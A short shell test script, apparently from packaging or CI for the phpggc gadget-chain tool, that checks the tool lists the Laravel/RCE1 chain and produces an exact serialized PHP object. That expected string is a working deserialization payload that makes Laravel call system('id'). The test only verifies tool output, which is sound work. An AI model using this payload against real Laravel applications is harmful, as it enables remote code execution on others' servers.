#!/bin/sh

set -e

exitcode=0

if ! phpggc -l | grep -q "Laravel/RCE1"; then
    echo "ERROR: phpggc -l output did not contain the expected output"
    echo "OUTPUT:"
    phpggc -l
    exitcode=1
fi

EXPECTED='O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"id";}'
OUTPUT=$(phpggc Laravel/RCE1 system id)
if [ "$EXPECTED" != "$OUTPUT" ]; then
    echo "ERROR: 'phpggc Laravel/RCE1 system id' did not produce the expected output"
    echo "EXPECTED: $EXPECTED"
    echo "OUTPUT: $OUTPUT"
    exitcode=1
fi

exit $exitcode
